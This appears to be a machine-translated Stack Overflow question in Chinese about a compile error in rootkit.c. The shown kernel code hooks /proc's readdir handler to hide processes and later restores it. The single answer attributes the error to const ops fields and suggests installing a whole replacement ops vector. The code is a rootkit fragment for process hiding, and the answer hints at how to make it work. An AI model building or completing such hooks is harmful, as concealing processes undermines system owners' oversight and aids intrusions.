编译此文件时,会抛出以下错误。
kit.c: In function ‘hide_pid’://rootkit.c:109:9: error: assignment of member ‘readdir’ in read-only kit.c:
In function ‘restore’ 127
error: assignment of member ‘readdir’ in read-only object
有人知道为什么吗?
int hide_pid(readdir_t *orig_readdir, readdir_t new_readdir)
{
struct file *filep;
/*open /proc */
if((filep = filp_open("/proc",O_RDONLY,0))==NULL)
{
return -1;
}
/*store proc's readdir*/
if(orig_readdir)
*orig_readdir = filep->f_op->readdir;
/*set proc's readdir to new_readdir*/ //ERROR IN THE LINE BELOW
filep->f_op->readdir=new_readdir;
filp_close(filep,0);
return 0;
}
int restore (readdir_t orig_readdir)
{
struct file *filep;
/*open /proc */
if ((filep = filp_open("/proc", O_RDONLY, 0)) == NULL) {
return -1;
}
/*restore /proc's readdir*/ //ERROR BELOW
filep->f_op->readdir = orig_readdir;
filp_close(filep, 0);
return 0;
}
答案 0 :(得分:2)
定义ops向量的结构(f_op)可能在readdir字段的定义中使用const - 也可能是所有其他字段。设置一个自己的ops向量比替换现有ops向量中的一个或两个方法更为正常。